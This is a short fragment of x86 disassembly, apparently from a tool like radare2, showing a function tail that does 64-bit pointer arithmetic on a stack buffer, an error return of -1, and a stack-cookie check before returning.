lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x421bfa
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040a729
leave
ret